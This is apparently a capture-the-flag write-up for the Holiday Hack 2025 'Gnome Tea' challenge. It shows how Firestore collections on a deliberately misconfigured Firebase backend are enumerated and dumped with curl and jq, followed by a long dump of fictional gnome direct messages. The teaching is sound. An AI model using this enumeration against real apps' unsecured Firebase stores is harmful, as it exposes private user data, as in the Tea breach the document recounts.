Holiday Hack 2025: Gnome Tea
Introduction
Gnome Tea
Difficulty:❅❅❅❅❅Enter the apartment building near 24-7 and help Thomas infiltrate the GnomeTea social network and discover the secret agent passphrase.
Thomas Bouve is in the modern Scandinavian Condo:
Thomas Bouve
Hi there, I’m Thomas, but you can call me CraHan if you like.
What do you mean ‘weird accent’? I have no idea why people keep telling me that, but it sounds fine in my head, to be honest.
Anyway, way back before I joined Counter Hack, I was an avid HHC player just like you! Some of my write-ups even resulted in a couple of wins throughout the years. Definitely check them out if you’re looking for some inspiration.
If you decide to submit your own report, my Holiday Hack Challenge report template might help you save some time as well.
My t-shirt? You like it? Well, Synthwave, cyberpunk, and even cassette futurism are definitely my kinda jam!
I also love to tinker, but for some weird reason my drawer of unfinished hacking projects just keeps overflowing. 24 hours in a day simply isn’t enough time, I guess.
Oh… and no matter what Mark or Kevin try to tell you, the Amiga is the absolute best retro computing platform ever made!
Hi again. Say, you wouldn’t happen to have time to help me out with something?
The gnomes have been oddly suspicious and whispering to each other. In fact, I could’ve sworn I heard them use some sort of secret phrase. When I laughed right next to one, it said “passphrase denied”. I asked what that was all about but it just giggled and ran away.
I know they’ve been using GnomeTea to “spill the tea” on one another, but I can’t sign up ‘cause I’m obviously not a gnome. I could sure use your expertise to infiltrate this app and figure out what their secret passphrase is.
I’ve tried a few things already, but as usual the whole… Uh, what’s the word I’m looking for here? Oh right, “endeavor”, ended up with the rest of my unfinished projects.
Chat with Thomas Bouve
Congratulations! You spoke with Thomas Bouve!
Thomas has given me a link to the Gnome Tea website.
Solution
Background
In July 2025, there was a large data breach from the “Tea” app, an app where dating women could share experiences about men they went on dates with. The breach was discovered on July 25, 2025, exposing approximately 72,000 images including 13,000 selfies and government-issued IDs used for verification, plus 59,000 images from posts and direct messages. A second breach followed days later, leaking over 1.1 million private messages from early 2023 through July 2025.
The technical issue stemmed from a misconfigured Firebase storage bucket that was left publicly accessible without any authentication requirements. Anyone with the direct URL could access the sensitive data. Firebase is a Google cloud platform commonly used by mobile apps to store photos, messages, and user data in cloud “buckets”. Additionally, the app’s API lacked proper authentication checks, allowing researchers to access private messages by simply modifying API endpoints, a classic Insecure Direct Object Reference (IDOR) vulnerability. Tea had claimed that verification photos were deleted immediately after use, but the data was retained in unsecured cloud storage.
Web Page Enumeration
Site
The link leads to a login form:
There’s no registration link (only a suggestion to talk to the gnome admin). If I try to submit some made up creds, it shows a Firebase error:
Firebase
Looking in the dev tools Network tab, I’ll see the request is going to identitytoolkit.googleapis.com:
The main login page is very simple HTML:
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<link rel="icon" type="image/png" href="/GnomeTeaLogoNoBg.png" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<!-- TODO: lock down dms, tea, gnomes collections -->
<title>GnomeTea - Spill the Tea!</title>
<script type="module" crossorigin src="/assets/index-BVLyJWJ_.js"></script>
<link rel="stylesheet" crossorigin href="/assets/index-C3GUVeby.css">
</head>
<body class="bg-gnome-cream">
<div id="root"></div>
</body>
</html>
There’s a comment there talking about three collections, “dms”, “tea”, and “gnomes”. These are actually document IDs.
It’s loading assets/index-BVLyJWJ_.js. This JavaScript is minimized, but poking around a bit I’ll find the Firebase config:
That projectId allows me to enumerate the Firebase instance. There’s also a storageBucket, which I’ll want to check out.
FireBase
Construct URL
I’ve got collections to check out. The URL to list all the documents in a collection is defined here as:
https://firestore.googleapis.com/v1/{parent=projects/*/databases/*/documents/*/**}/{collectionId}
Which I’ll simplify a bit for this case to:
https://firestore.googleapis.com/v1/projects/{PROJECT_ID}/databases/{DATABASE_ID}/documents/{COLLECTION_ID}
Filling in the following:
PROJECT_ID= “holidayhack2025”DATABASE_ID= “(default)”COLLECTION_ID= one of “dms”, “tea”, or “gnomes”
Makes the following URLs:
https://firestore.googleapis.com/v1/projects/holidayhack2025/databases/(default)/documents/dms
https://firestore.googleapis.com/v1/projects/holidayhack2025/databases/(default)/documents/tea
https://firestore.googleapis.com/v1/projects/holidayhack2025/databases/(default)/documents/gnomes
dms Collection
I’ll download the dms collection as a JSON file:
oxdf@hacky$ curl 'https://firestore.googleapis.com/v1/projects/holidayhack2025/databases/(default)/documents/dms' > dms.json
There’s 31 documents in this collection:
oxdf@hacky$ cat dms.json | jq -r .documents[].name | wc -l
31
oxdf@hacky$ cat dms.json | jq -r .documents[].name
projects/holidayhack2025/databases/(default)/documents/dms/1X3NYYPeZDOQrHAryFku
projects/holidayhack2025/databases/(default)/documents/dms/79LWWD1jCPxkWYWUFkVh
projects/holidayhack2025/databases/(default)/documents/dms/7pogHX0VPDzWATQbMyr2
projects/holidayhack2025/databases/(default)/documents/dms/AFNODTxQ9OfMewqfiJ8c
projects/holidayhack2025/databases/(default)/documents/dms/B5Do2kT048Z34WmGjSoc
projects/holidayhack2025/databases/(default)/documents/dms/BHbl4ktZehzCW3qY1K1t
projects/holidayhack2025/databases/(default)/documents/dms/Bg0cHpqzPTLwybLnFFez
projects/holidayhack2025/databases/(default)/documents/dms/C3N0gGQtcWumpIIiK0xn
projects/holidayhack2025/databases/(default)/documents/dms/CeO28wyaX78jRZzWSM72
projects/holidayhack2025/databases/(default)/documents/dms/DEPI1xHa7VYaBjVyjfc4
projects/holidayhack2025/databases/(default)/documents/dms/DVTYEmteZVoRkB0J8HoZ
projects/holidayhack2025/databases/(default)/documents/dms/GLrfcsf4DtLGHUez3UPy
projects/holidayhack2025/databases/(default)/documents/dms/PaotJWoGCPTtoQykqSq5
projects/holidayhack2025/databases/(default)/documents/dms/PdVBJCWznBpnVf0mb0b2
projects/holidayhack2025/databases/(default)/documents/dms/SJOsfdzb4Jemu5YBWXhZ
projects/holidayhack2025/databases/(default)/documents/dms/W78ZqKyx0BWBoG8pbsoD
projects/holidayhack2025/databases/(default)/documents/dms/WReDg6Pm31uXal27sPsl
projects/holidayhack2025/databases/(default)/documents/dms/YCFJg8Zk5HBKGq3ib4Fh
projects/holidayhack2025/databases/(default)/documents/dms/Zjde85VkXj9qBbWq8zMh
projects/holidayhack2025/databases/(default)/documents/dms/ahMbNHF5T2DaX4gkuVul
projects/holidayhack2025/databases/(default)/documents/dms/bNNQq3MJ8idGrIG317DA
projects/holidayhack2025/databases/(default)/documents/dms/ctZ3otiKqw6f0pYcqIl0
projects/holidayhack2025/databases/(default)/documents/dms/fHlgFwFTJeRkOFLK9DVj
projects/holidayhack2025/databases/(default)/documents/dms/fcM8CIk3nxjkG7qVvsaS
projects/holidayhack2025/databases/(default)/documents/dms/iOpsWNpeXovDgAakayRz
projects/holidayhack2025/databases/(default)/documents/dms/oZFQv0uaWIG88KDqHi22
projects/holidayhack2025/databases/(default)/documents/dms/tcQkFLHygmYI6KFvskvm
projects/holidayhack2025/databases/(default)/documents/dms/ur5EkAcs7GdP8Xfbv8Tv
projects/holidayhack2025/databases/(default)/documents/dms/uy1FJyT8EXZX2qK4IaJ6
projects/holidayhack2025/databases/(default)/documents/dms/xVBY7s5NH4UUN77lOEb4
projects/holidayhack2025/databases/(default)/documents/dms/ys90zkEbeGqycAmtqvJR
Each represents the messages between a set of participants (always two). I’ll use Claude to generate a jq command that will print these in a chat-like form.
oxdf@hacky$ jq -r '.documents[] | . as $doc | ($doc.fields.messages.arrayValue.values | map(.mapValue.fields | {(.senderUid.stringValue): .senderName.stringValue}) | add) as $names | "=== " + ($doc.fields.participants.arrayValue.values | map("\($names[.stringValue]) [\(.stringValue)]") | join(", ")) + "===", ($doc.fields.messages.arrayValue.values[] | .mapValue.fields | "[\(.timestamp.timestampValue)] \(.senderName.stringValue):\n \(.content.stringValue)"), ""' dms.json
=== Grizelda Grit-Tooth [golJeh7xg9YUvcj5nDugTssQPy62], Barnaby Briefcase [l7VS01K9GKV5ir5S8suDcwOFEpp2]===
[2025-09-30T19:22:01.160Z] Grizelda Grit-Tooth: Barnaby! Dew on my boots this morning looked like a string of tiny lanterns—did you see Mabel dancing with the mushroom ring by the hydrangeas?
[2025-09-30T19:22:01.160Z] Barnaby Briefcase: Ahoy, Grizelda! I did—she insists the mushrooms taught her the polka. I checked my briefcase: emergency snacks, a moon-map, and a spare monocle. Picnic and moon gazing later?
[2025-09-30T19:22:01.160Z] Grizelda Grit-Tooth: Only if we invite Percival—he owes us the inside scoop on the sprinkler rebellion. Also bring thyme tea; it's excellent for appreciating dew and quiet conspiracies.
[2025-09-30T19:22:01.160Z] Barnaby Briefcase: Percival can be bribed with a copper thimble and promises of toasted crickets. I'll pack thyme tea, blackberry scones, and a tiny umbrella (purely decorative, I swear). Where in Dosis?
[2025-09-30T19:22:01.160Z] Grizelda Grit-Tooth: Top of the pumpkin patch, by the lantern beetle statue—excellent for moon reflections and discreet gossip. PS: Mabel swears the mushrooms hummed 'Happy Sproutday' at dawn.
[2025-09-30T19:22:01.160Z] Barnaby Briefcase: Perfect—pumpkin patch at nine. I'll bring a blanket, a compass for dramatic effect, and earplugs in case the mushrooms decide to hold a chorus rehearsal. See you under the moon!
=== Ferdinand Figgypudding [pwbhMFuRbkesddTrtT3gVRzv8Ux1], Rowdy Root-Rouser [kmoZyOIt7sWgehQC8ovcsxXPWUS2]===
[2025-09-30T19:24:06.760Z] Ferdinand Figgypudding: Rowdy! Sprinkled by dew this morning in the Dosis Neighborhood—my hat's soggy but my spirits are not! Did you hear Mrs. Tansy's mushrooms are glowing again? Perfect for moon-gazing tonight.
[2025-09-30T19:24:06.760Z] Rowdy Root-Rouser: Ferdinand! Glowing mushrooms? Count me in. I vote for a midnight mushroom tea party + dew-sip contest. Also, rumor has it Crispin Pinchpot boasted he can out-guzzle a snail—think that's gossip or scientific fact?
[2025-09-30T19:24:06.760Z] Ferdinand Figgypudding: Ha! Crispin vs. snail sounds like spectator sport. I’ll bring chamomile and the tiny teaspoons. Also, whispered that Ursula Giggletop plans to juggle toadstools—hope she doesn't accidentally launch them at Mrs. Petunia's petunia hat.
[2025-09-30T19:24:06.760Z] Rowdy Root-Rouser: Perfect. I'll recruit the hedgehog percussionists and borrow glow-lanterns from the blackberry bramble. If Ursula does launch a toadstool, we can moon-gaze through it for dramatic effect. Also—secret: I've got jam made from dewberries for the tea.
[2025-09-30T19:24:06.760Z] Ferdinand Figgypudding: Dewberry jam? You're a hero, Rowdy. Meet at the old stone bench at dusk; bring blankets, a spare hat (for snails or hats-on-breakfast emergencies), and your loudest moon-hello. Dosis Neighborhood tradition continues!
=== Grizelda Grit-Tooth [golJeh7xg9YUvcj5nDugTssQPy62], Chester Cherryhat [IvLFBZQgo3R6iteLHmShbWmctqo2]===
[2025-09-30T19:22:38.866Z] Grizelda Grit-Tooth: Psst, Chester! Dew on the nasturtiums this morning looked like tiny silver buttons — did you tell Marigold to stop teaching the mushrooms to polka at dawn? The moon will be scandalized.
[2025-09-30T19:22:38.866Z] Chester Cherryhat: Oh Grizelda, I did not! Marigold swears they're practicing for the nocturnal mushroom ball. I tripped over a toadstool and came home wearing a fungus as a beret.
[2025-09-30T19:22:38.866Z] Grizelda Grit-Tooth: A fungus beret? Splendid! Tonight I'll bring chamomile tea and a string of firefly lanterns for moon gazing. Also, Percy keeps borrowing my watering can and claims he is "just collecting dew samples"...
[2025-09-30T19:22:38.866Z] Chester Cherryhat: Brilliant — bring earplugs (Marigold hums in a key only roses can detect). I'll bake dandelion fritters and lure the gossipy sparrows away with breadcrumbs. Also, check the scarecrow's hat — it's been moonwalking again.
[2025-09-30T19:22:38.866Z] Grizelda Grit-Tooth: Deal. If the scarecrow starts moonwalking toward the tulips, we stage an impromptu dance-off. Winner gets the last mushroom canapé. See you at twilight by the bluebell bench — don't forget your cherryhat!
=== Barnaby Briefcase [l7VS01K9GKV5ir5S8suDcwOFEpp2], Elderick Mossbeard [prxA2hBSkhg3dkhkfzvnlGxCCfP2]===
[2025-09-30T19:15:10.779Z] Barnaby Briefcase: Psst, Elderick! Just rolled up my trousers — spotted a ring of button mushrooms near Mrs. Thistlewick's begonias in the Dosis Neighborhood. Fancy a midnight mushroom tea and moon-gazing?
[2025-09-30T19:15:10.779Z] Elderick Mossbeard: Moon-gazing sounds splendid, Barnaby! But rumor has it Percival Puddlefoot taught the mushrooms to whistle; I heard tiny tunes carried on the dew at dawn.
[2025-09-30T19:15:10.779Z] Barnaby Briefcase: Whistling mushrooms! Imagine a garden orchestra. I'll bring chamomile and my tiny umbrella; you bring your whistle-proof pocket mirror. Maybe invite Dotty and her snoring snail — she still owes us dance lessons.
[2025-09-30T19:15:10.779Z] Elderick Mossbeard: Dotty's snail snore could double as percussion and keep the fireflies in rhythm. I'll fetch the lanterns (battery of beetles optional). Also, discreetly warn Mrs. Thistlewick: her begonias practiced samba this morning.
[2025-09-30T19:15:10.779Z] Barnaby Briefcase: Perfect — beetle batteries and a samba alert on Mrs. Thistlewick. Meet at the dew-station by the stone gnome post at moonrise. If the mushrooms start whistling, we'll start the Polka of Petunias!
=== Wizzy Stardust [LOPFa6rXj6eB7uMVHu6IbKARYbe2], Rowdy Root-Rouser [kmoZyOIt7sWgehQC8ovcsxXPWUS2]===
[2025-09-30T19:12:31.183Z] Wizzy Stardust: Psst Rowdy! Spotted a glowing ring of mushrooms by the compost heap in Dosis — they blink like tiny lanterns. Think it's a sign for a midnight moon-gazing?
[2025-09-30T19:12:31.183Z] Rowdy Root-Rouser: Glorious! I say we throw a mushroom tea party and a dew-scraping contest. Also — did you see Petunia Prance wearing that thimble hat again? She tried to teach Basil Bold to do snail sprints this morning.
[2025-09-30T19:12:31.183Z] Wizzy Stardust: Oh, the thimble hat! Classic Petunia. Basil's snail sprints never end well (snails are slow and dramatic). Come at the first sliver of moon — I'll bring chamomile brewed in a robin's-thimble and a packet of glow-moss for ambiance. Mossy Myrtle will probably nap on a fern nearby.
[2025-09-30T19:12:31.183Z] Rowdy Root-Rouser: Perfect. I'll bring a tin of glittery dew-cups and my kazoo (for composter percussion). We can whisper gossip about Old Horace and his nightly conversation with the snails. Meet behind the hollyhock maze?
[2025-09-30T19:12:31.183Z] Wizzy Stardust: Behind the hollyhock maze it is. Moonlight, mushrooms, music, and whispering gossip — Dosis will never be the same. See you when the crickets change their tune!
=== Reggie Reggae [G5c0vX06WOaEf1YKutqkur4HEU63], Flex Muscle [RQw0hYxlKIhsTUVPyR8ivrM3ls02]===
[2025-09-30T19:22:51.261Z] Reggie Reggae: Hey Flex! Dosis Neighborhood is glowing — caught the dew doing the cha-cha on the hostas. Fancy a moon-gazing sesh by the mushroom ring tonight? I hear Mabel Mudfoot is bringing glow-worm jelly.
[2025-09-30T19:22:51.261Z] Flex Muscle: Yo Reggie! Count me in — I'll carry the portable pebble bench (right after a quick kettlebell squat with a watering can). Did you hear about Sir Sprout's scandal? He painted his hat neon and blamed the snails.
[2025-09-30T19:22:51.261Z] Reggie Reggae: No way! Neon hat scandal 🍄😂 I heard Gloria Glove tried to start a compost choir. They only sing in worm-soprano. Also, bring a blanket — dew's extra jazzy tonight.
[2025-09-30T19:22:51.261Z] Flex Muscle: Blanket secured. Also, I practiced my 'moss massage' technique for the neighbors. If the moon's full we can host a tiny midnight mushroom dance-off. I'll demo the 'spore shuffle.'
[2025-09-30T19:22:51.261Z] Reggie Reggae: Perfect plan. I'll bring chamomile tea and a ukulele (low tide, high vibes). Meet at the old watering-hose arch at moonrise. If the daisies gossip too loudly we'll bribe them with seeds.
=== Ferdinand Figgypudding [pwbhMFuRbkesddTrtT3gVRzv8Ux1], Titus Toadstool [7sQlw9l4xUOWSjDTphvLgKVEm0j1]===
[2025-09-30T19:21:47.221Z] Ferdinand Figgypudding: Psst — Titus! The bluecap mushrooms behind Mrs. Marigold's fence staged a conga line at dawn. I nearly spilled my dew flask laughing. Did you see them?
[2025-09-30T19:21:47.221Z] Titus Toadstool: Oh Ferdinand, I heard! They were competing with Barnaby's moon-gazing party. Barnaby insists on bringing glow-worm lanterns and reciting the Dew Ode.
[2025-09-30T19:21:47.221Z] Ferdinand Figgypudding: We should host the next soirée in the Dosis Neighborhood! Theme: 'Moonlight & Mulch.' I'll bring peppermint snails, you provide pillows of moss and a tasteful snail-shell soundtrack.
[2025-09-30T19:21:47.221Z] Titus Toadstool: Deal! Also, garden gossip: Petunia's new hat is suspiciously made of thistle — she says it's 'artisan', I say it's a cunning wind trap. Keep an eye on her hat-domino skills.
[2025-09-30T19:21:47.221Z] Ferdinand Figgypudding: Brilliant. I'll RSVP with a ribbon-wrapped pebble. Meet by the rosemary arch at first moonrise — don't forget your slippers for the dew tango!
=== Elderick Mossbeard [prxA2hBSkhg3dkhkfzvnlGxCCfP2], Pip Sparkletoes [VgJCVlELJ6VfQTxeIt1dR5PWyiX2]===
[2025-09-30T19:23:49.336Z] Elderick Mossbeard: Pip! Spotted a ring of moonlit mushrooms by the compost heap — they look like tiny umbrellas. Also, did you see Greta Thistlehat's new hat? It has a thistle so large a snail nearly moved in.
[2025-09-30T19:23:49.336Z] Pip Sparkletoes: Oh ho! I did see the hat, and the snail left a polite calling card (a shimmering trail, naturally). The mushrooms were humming a lullaby at dawn — must be the dew. Fancy a midnight moon-gazing picnic under the bluebell arch?
[2025-09-30T19:23:49.336Z] Elderick Mossbeard: Midnight moon-gazing! I'll bring glow-moss tea and mushroom biscuits. Rumor has it Crispin Nettlewhistle is practising fox-whistles nearby, so we'll have music. Shall we invite Grumbleberry or keep it a cheeky two-gnome caper?
[2025-09-30T19:23:49.336Z] Pip Sparkletoes: Invite Grumbleberry but only if he promises not to challenge the toads to a croak-off. I'll bring my dew-catcher and a jar of sparkly thyme for sprinkling. Also, bring a tiny lantern — moonlight sometimes makes the mushrooms shy.
[2025-09-30T19:23:49.336Z] Elderick Mossbeard: Deal. Lantern, glow-moss tea, mushroom biscuits, and a stern warning to any competitive toads. Meet you at the bluebell arch when the moon tiptoes over the hollyhocks. Don't forget your sparkly socks!
=== Glitch Mitnick [LA5w0EskgSbQyFnlp9OrX8Zovu43], Gnorman Goldchain [PyxedrsAN2bewsg4Rno9SsCqZHg2]===
[2025-09-30T19:12:14.512Z] Glitch Mitnick: Morning from the dew-drenched corner of Dosis! Woke up to a choir of tiny mushrooms humming under Mrs. Petunia Prankle's hydrangea — thought of you. Fancy a moon-gazing picnic tonight?
[2025-09-30T19:12:14.512Z] Gnorman Goldchain: Absolutely! My gold chain will catch the moonlight and attract fashionable fireflies. Also — rumor has it Sir Sproutsworth commissioned a topiary shaped like a teapot. Scandalous or brilliant?
[2025-09-30T19:12:14.512Z] Glitch Mitnick: Teapot topiary = brilliant. Mushrooms might start a union if they see tea service. I'll bring dew-sip (it's basically coffee for gnomes) and Snickles' kaleidoscope. We should stealth past Mr. Muddlepots though; his snoring causes windstorms.
[2025-09-30T19:12:14.512Z] Gnorman Goldchain: Good call. Meet at the old toadstool bench at midnight. I'll bring tiny lanterns, acorn biscuits, and a spare gold tassel in case the moon wants to borrow bling.
[2025-09-30T19:12:14.512Z] Glitch Mitnick: Perfect — see you under the moon and mushrooms. P.S. If the daisies start gossiping, hand them a biscuit and they'll sing the alphabet backwards.
=== Pip Sparkletoes [VgJCVlELJ6VfQTxeIt1dR5PWyiX2], Chester Cherryhat [IvLFBZQgo3R6iteLHmShbWmctqo2]===
[2025-09-30T19:14:44.316Z] Pip Sparkletoes: Chester! Did you see the moonlit mushrooms near Thimbleweed Lane? They were glowing like lemon curd—perfect for moon-gazing in the Dosis Neighborhood. Fancy a midnight picnic with dew sandwiches?
[2025-09-30T19:14:44.316Z] Chester Cherryhat: Oh Pip, I saw them! Greta Fernwhistle tried to gather them for mushroom hats and now her hair smells like rainclouds. Dew sandwiches sound dangerous but delightful. Should we invite Barnaby Rootknob? He's bringing a teapot of nettle-chamomile.
[2025-09-30T19:14:44.316Z] Pip Sparkletoes: Absolutely invite Barnaby — he owes me a sip after ruining my azalea serenade. Also, remind Snip the snail to bring his tiny lanterns; they make the best twinkly path. I'll bring the berry jam and a sachet of moonbeam sugar.
[2025-09-30T19:14:44.316Z] Chester Cherryhat: Perfect. Also gossip: I heard the bluebell twins are debating whether moonbeams are best enjoyed horizontally or dangling from a toadstool. We must form a committee. Agenda: snacks, songs, and a strict 'no swinging on the mushrooms' rule.
[2025-09-30T19:14:44.316Z] Pip Sparkletoes: Committee formed! I'll draft bylaws on a napkin (strictly scented with mint). See you at twilight by the old watering can — bring a blanket, an umbrella for dramatic effect, and your best moon-gazing squint. Dosis awaits!
=== Ferdinand Figgypudding [pwbhMFuRbkesddTrtT3gVRzv8Ux1], Glitch Mitnick [LA5w0EskgSbQyFnlp9OrX8Zovu43]===
[2025-09-30T19:14:27.059Z] Ferdinand Figgypudding: Phew! Found a ring of glow-mushrooms by the old watering can. They smell like lemon dew. Want to meet later for moon-gazing and a mushroom tea?
[2025-09-30T19:14:27.059Z] Glitch Mitnick: Oh ho! Tell the truth: did you borrow Petunia Puddlehat's tiny lantern again? If you bring the lantern, I'll bring the marshmallow beetles for toasting. Also—gossip—Bramble snored so loud last night the snails wore earplugs.
[2025-09-30T19:14:27.059Z] Ferdinand Figgypudding: Guilty as charged! Lantern is polished with nettle oil. Marshmallow beetles? Brilliant. We'll listen for Bramble's snore-symphony and name constellations after radishes.
[2025-09-30T19:14:27.059Z] Glitch Mitnick: Perfect. Also propose a dew-harvesting contest at dawn — winner gets a silver thimble and a crown of clover. I heard Mallow's trying to teach the mushrooms to waltz.
[2025-09-30T19:14:27.059Z] Ferdinand Figgypudding: Sold! I'll bring the clover crown and a pocket-sized tune for the mushrooms. Meet at the third toadstool from the pond, when the moon ticks like a teapot.
=== Glitch Mitnick [LA5w0EskgSbQyFnlp9OrX8Zovu43], Steamy Mcsteamface [6nBUHcdxo2fLKSYqYyipr9iCOey2]===
[2025-09-30T19:21:24.442Z] Glitch Mitnick: Psst, Steamy — witnessed Marigold Moonbeam trying to teach the snails to waltz under the dew by the hydrangeas. One snail kept stepping on a mushroom cap and apologizing. You see that kind of choreography often in Dosis?
[2025-09-30T19:21:24.442Z] Steamy Mcsteamface: Only every third blue moon! I saw Old Sprig yesterday turning his hat into a mushroom feeder — said he wanted the toadstools to RSVP for moon-gazing. Speaking of, are we still on for midnight tea and starglass by the compost heap?
[2025-09-30T19:21:24.442Z] Glitch Mitnick: Absolutely. I'll bring the peppermint dew-tea and a jar of glow-worms for ambiance. Maybe we can invite the snails as chief dancers and ask Marigold to judge. Also, remind Pebble to not bring his foghorn kettle (last time we mistook the moon for a zucchini).
[2025-09-30T19:21:24.442Z] Steamy Mcsteamface: Ha! No foghorn this time, promise. I'll bring the gentle steam kettle (low puff only) and a stack of fairy biscuits. If the dew makes our hats soggy we'll do the moon-gazing hatless and hum to the mushrooms instead.
[2025-09-30T19:21:24.442Z] Glitch Mitnick: Perfect — meet behind the thimble bench at midnight. Bring an umbrella-lantern and your best hummable tune. See you under the moon, Steamy — don't forget your dancing shoes (or shell polish)!
=== Pip Sparkletoes [VgJCVlELJ6VfQTxeIt1dR5PWyiX2], Wizzy Stardust [LOPFa6rXj6eB7uMVHu6IbKARYbe2]===
[2025-09-30T19:23:02.586Z] Pip Sparkletoes: Wizzy! Dew beads in Dosis look like fairy marbles this morning — did you see Mr. Thimblepop balancing a mushroom cap on his head? I nearly spat out my chamomile!
[2025-09-30T19:23:02.586Z] Wizzy Stardust: Oh Pip, I did! He called it a 'mushroom crown' and winked at the moon. Speaking of moon, are we still on for moon-gazing behind the hollyhock tonight? I'll bring the glow-worm lanterns.
[2025-09-30T19:23:02.586Z] Pip Sparkletoes: Absolutely. Martha Mosshat promised scones but last time she hid them in a snail shell; I consider it an offering. Also, rumor has it Grumblebeard is training mushrooms to march. Should we invite them to the dew-dance?
[2025-09-30T19:23:02.586Z] Wizzy Stardust: Invite 'em! If Grumblebeard's fungi can do a conga, we'll have a full mushroom parade. I'll bring peppermint tea and a pocket telescope. Also, remind the sprinkler to behave — it tried to salsa last week.
[2025-09-30T19:23:02.586Z] Pip Sparkletoes: Perfect. Meet at the moonbeam bench at eight (or whenever the fireflies file their attendance). I'll bring tiny biscuits and a tiny umbrella — just in case the sprinkler salsa returns. See you, Stardust!
=== Grizelda Grit-Tooth [golJeh7xg9YUvcj5nDugTssQPy62], Gnom-inator T-800 [jlm1nPFV5xWM4jQaokLHDb6K8kj1]===
[2025-09-30T19:21:04.237Z] Grizelda Grit-Tooth: Psst, T-800! Caught Old Thimbletoes practicing moon-gazing with a colander last night. Think he's starting a constellation for mystery mushrooms?
[2025-09-30T19:21:04.237Z] Gnom-inator T-800: Affirmative, Grizelda. Colander improves starlight drainage by approximately 23%. I also inspected dew patterns — Thimbletoes is mapping secret puddles to attract glow-moss. Shall we stage a midnight tea ceremony to join him?
[2025-09-30T19:21:04.237Z] Grizelda Grit-Tooth: Midnight tea sounds divine! I'll bring chamomile from the east bed and a biscuit timer (it's a snail with a ribbon). Also, rumor: Petunia Puddlewhisk swapped her hat for a toadstool beret. Fashion emergency or avant-garde?
[2025-09-30T19:21:04.237Z] Gnom-inator T-800: Analysis: toadstool beret = 67% avant-garde, 33% need-for-air. Recommendation: compliment enthusiastically and invite her to a mushroom hop. I will practice three dew-haikus while balancing a watering can as proof of sincerity.
[2025-09-30T19:21:04.237Z] Grizelda Grit-Tooth: Perfect plan. Meet by the lavender moonrock at dewfall. If the fungi sing, we dance; if they recite sonnets, we applaud politely. Don't forget your pocket flashlight (or a particularly obliging firefly).
=== Ferdinand Figgypudding [pwbhMFuRbkesddTrtT3gVRzv8Ux1], Titus Toadstool [7sQlw9l4xUOWSjDTphvLgKVEm0j1]===
[2025-09-30T19:13:06.098Z] Ferdinand Figgypudding: Psst Titus! Spotted Matilda Mintwhistle sprinkling glittering dew on the shroom beds at dawn — rumor has it she's training them to glow for moon-gazing. Also Harold Hopscotch wore three mushrooms as hats again. Shall we host a midnight tea-and-moon-gazing?
[2025-09-30T19:13:06.098Z] Titus Toadstool: Ferdinand! If Matilda's glow-moss works we'll need tiny sunglasses for the hedgehogs. Midnight tea-and-moon-gazing is perfect — I'll bring chamomile dew and a jar of firefly biscuits. Do you think the mushrooms will dance?
[2025-09-30T19:13:06.098Z] Ferdinand Figgypudding: They always do when I play the dandelion kazoo. I'll bring lily-pad lanterns and a wedge of moon-cheese for Eulalia's biscuit critiques. Also, watch out for Lottie Larkspur's pet snail — it snores like a thunderstorm and steals sugar cubes.
[2025-09-30T19:13:06.098Z] Titus Toadstool: Oh no, the sugar-snatching snail! I'll tuck the sugar into a pebble safe (very gnomely). And please remind Harold his mushroom-hats are charming but maybe skip the topiary parade — the hedgehogs tried to sit on him last time.
[2025-09-30T19:13:06.098Z] Ferdinand Figgypudding: Deal. Meet at the stone sundial at midnight with comfy moss cushions. If the moon is shy we'll improvise a glow-moss talent show — prize: a tin of extra-sparkly dew. See you under the dew!
=== Elderick Mossbeard [prxA2hBSkhg3dkhkfzvnlGxCCfP2], Rowdy Root-Rouser [kmoZyOIt7sWgehQC8ovcsxXPWUS2]===
[2025-09-30T19:14:13.030Z] Elderick Mossbeard: Rowdy! Moonlight dew this morning turned the marigolds into tiny lanterns — did you see Petunia Pipsqueak trying to balance a mushroom cap on her hat?
[2025-09-30T19:14:13.030Z] Rowdy Root-Rouser: Oh yes! I nearly spat out my compost tea laughing. Also heard Grindle the Hedge-Hopper is teaching snails how to waltz by the frog pond next Tuesday. Fancy joining the moon-gazing waltz?
[2025-09-30T19:14:13.030Z] Elderick Mossbeard: Count me in. I'll bring my binoculars (for tiny constellations) and a jar of dew cookies. Do you think the glowworms will RSVP, or are they still sulking over last month's leaf confetti incident?
[2025-09-30T19:14:13.030Z] Rowdy Root-Rouser: Glowworms are dramatic but can be bribed with extra nettle nectar. I'll handle the nettles if you handle the confetti apologies. Also, can we invite old Fen the Fence-Sitter? He has the best gossip about the new mushroom ring on Elm Lane.
[2025-09-30T19:14:13.030Z] Elderick Mossbeard: Fen loves a good mushroom mystery. I'll send him a polite thump on the post and tuck a tiny moon-map under his hat. See you by the dew-drenched marigolds at dusk — bring an extra umbrella for dancing snails!
=== Ferdinand Figgypudding [pwbhMFuRbkesddTrtT3gVRzv8Ux1], Barnaby Briefcase [l7VS01K9GKV5ir5S8suDcwOFEpp2]===
[2025-09-30T19:13:42.887Z] Ferdinand Figgypudding: Barnaby, spotted a ring of bioluminescent mushrooms by the sundial in Dosis! Think Petunia swapped her chamomile for glow-spores again?
[2025-09-30T19:13:42.887Z] Barnaby Briefcase: Oh dear, not Petunia's experimental brewing! I feared the umbrella-wearing geraniums would start glowing too. Shall we host a moon-gazing picnic to investigate—I'll bring dew-catchers and emergency crackers?
[2025-09-30T19:13:42.887Z] Ferdinand Figgypudding: Only if we recruit Olly Oakenbloom for harp accompaniment. Also important poll: mushroom hats or leaf lanterns as headwear? My toadstool topper is feeling competitive.
[2025-09-30T19:13:42.887Z] Barnaby Briefcase: Mushroom hats win by a spore... I mean, score. I'll bring ribbon and the Briefcase's emergency confetti. PS: gossip from the rose bed—Mr. Thistle Nap-Tilt has been politely rearranging our neighbors to face the moon every night.
[2025-09-30T19:13:42.887Z] Ferdinand Figgypudding: Brilliant. Meet under the hydrangea at dusk — I'll bring a jar for dew collection and a tiny telescope. If Mr. Thistle tries redecorating us, we'll blame it on the snails and serve extra biscuits.
=== Gnom-inator T-800 [jlm1nPFV5xWM4jQaokLHDb6K8kj1], Titus Toadstool [7sQlw9l4xUOWSjDTphvLgKVEm0j1]===
[2025-09-30T19:13:24.721Z] Gnom-inator T-800: Good morning, Titus Toadstool of Dosis Neighborhood. Dew levels at 07:00: 87% — optimal for moon-gazing and damp-hat polishing. Initiating plan: nightly moon party by the old blue toadstool. Will you bring the mushroom lanterns?
